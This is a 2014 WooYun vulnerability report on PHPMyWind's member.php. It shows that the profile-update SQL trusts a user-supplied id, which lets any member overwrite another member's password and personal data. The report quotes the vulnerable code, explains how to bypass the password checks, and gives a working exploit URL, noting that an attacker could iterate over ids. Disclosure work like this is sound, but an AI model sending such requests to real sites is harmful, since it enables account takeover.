当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079490

漏洞标题:phpmywind水平权限漏洞一枚,可修改任意用户的任意资料包括密码

相关厂商:phpmywind.com

漏洞作者: linadmin

提交时间:2014-10-16 16:04

修复时间:2014-12-30 14:44

公开时间:2014-12-30 14:44

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-16: 细节已通知厂商并且等待厂商处理中
2014-10-21: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-12-15: 细节向核心白帽子及相关领域专家公开
2014-12-25: 细节向普通白帽子公开
2015-01-04: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

phpmywind水平权限漏洞一枚,可修改任意用户的任意资料包括密码

详细说明:

经过简单审核发现phpmywind 存在一处任意用户资料更新漏洞(包括密码)
因为phpmywind的密码采用双md5加密,即使存在注入,也很难跑出密码,所以感觉注入漏洞危害性还不如密码重置这类的漏洞,这里我就验证下密码重置这个漏洞,其实是可以修改任意用户的所有资料信息。
出现逻辑问题的代码位于member.php的第601行,上下文分别是
//更新资料
elseif($a == 'saveedit')
{

//检测数据完整性
if($password!=$repassword or$email=='')
{
header('location:?c=edit');
exit();
}


//HTML转义变量
$answer = htmlspecialchars($answer);
$cnname = htmlspecialchars($cnname);
$enname = htmlspecialchars($enname);
$cardnum = htmlspecialchars($cardnum);
$intro = htmlspecialchars($intro);
$email = htmlspecialchars($email);
$qqnum = htmlspecialchars($qqnum);
$mobile = htmlspecialchars($mobile);
$telephone =htmlspecialchars($telephone);
$address = htmlspecialchars($address);
$zipcode = htmlspecialchars($zipcode);


//检测旧密码是否正确
if($password != '')
{
$oldpassword =md5(md5($oldpassword));
$r =$dosql->GetOne("SELECT `password` FROM `#@__member` WHERE`username`='$c_uname'");
if($r['password'] !=$oldpassword)
{
ShowMsg('抱歉,旧密码错误!','-1');
exit();
}
}

$sql = "UPDATE `#@__member` SET";
if($password != '')
{
$password =md5(md5($password));
$sql .="password='$password', ";
}
@$sql .= "question='$question',answer='$answer', cnname='$cnname', enname='$enname', sex='$sex',birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month',birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade',live_prov='$live_prov', live_city='$live_city', live_country='$live_country',home_prov='$home_prov', home_city='$home_city', home_country='$home_country',cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email',qqnum='$qqnum', mobile='$mobile', telephone='$telephone',address_prov='$address_prov', address_city='$address_city', address_country='$address_country',address='$address', zipcode='$zipcode' WHERE id=$id";
//可修改任意用户资料
if($dosql->ExecNoneQuery($sql))
{
ShowMsg('资料更新成功!','?c=edit');
exit();
}
}
这段代码的功能是更新用户资料(包含密码)
问题的关键点在执行sql语句
@$sql.= "question='$question', answer='$answer', cnname='$cnname',enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year',birth_month='$birth_month', birth_day='$birth_day', astro='$astro',bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov',live_city='$live_city', live_country='$live_country', home_prov='$home_prov',home_city='$home_city', home_country='$home_country', cardtype='$cardtype',cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum',mobile='$mobile', telephone='$telephone', address_prov='$address_prov',address_city='$address_city', address_country='$address_country',address='$address', zipcode='$zipcode' WHERE id=$id";
的执行判断条件上,where后的id是可以通过参数进行修改的,而之后没有其他验证条件,导致了水平权限的问题。
触发这条SQL语句需要绕过前面的一些验证
if($password!=$repasswordor $email=='')
{
header('location:?c=edit');
exit();
}
只要在url中带入password,repassword,email 使不为空,让password=repassword就可以,这个password就是重置后的密码
//检测旧密码是否正确
if($password != '')
{
$oldpassword =md5(md5($oldpassword));
$r = $dosql->GetOne("SELECT`password` FROM `#@__member` WHERE `username`='$c_uname'");
if($r['password'] !=$oldpassword)
{
ShowMsg('抱歉,旧密码错误!','-1');
exit();
}
}
这个地方也很好绕过,注册个账号,在url中填入c_uname为注册的账号,oldpassword为注册的密码就可以。

以上就是绕过的方法,然后就可以任意设置id修改任意用户的密码,当然想要修改资料的话通过在url中添加
$answer = htmlspecialchars($answer);
$cnname = htmlspecialchars($cnname);
$enname = htmlspecialchars($enname);
$cardnum = htmlspecialchars($cardnum);
$intro = htmlspecialchars($intro);
$email = htmlspecialchars($email);
$qqnum = htmlspecialchars($qqnum);
$mobile = htmlspecialchars($mobile);
$telephone =htmlspecialchars($telephone);
$address = htmlspecialchars($address);
$zipcode = htmlspecialchars($zipcode);
这些对应的变量就可以。
验证一下吧

我首先注册了两个用户listen1 和listen2 密码都是listen
尝试用listen1修改listen2的密码为123456
登陆listen1,构造请求发送
http://127.0.0.1/phpmywind/member.php?a=saveedit&c_uname=listen1&oldpassword=listen&password=123456&id=4&repassword=123456&email=123

1.png


listen2用户的id是4,这个无关紧要,对于一个攻击者,他宁愿通过遍历把所有用户密码修改掉。
发送链接

2.png


OK
修改成功!
经测试listen2密码确实被修改为123456
你们可以自行验证,有问题联系[email protected]

漏洞证明:

如上测试

修复方案:

你们比我专业,嘿嘿

版权声明:转载请注明来源 linadmin@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

最新状态:

暂无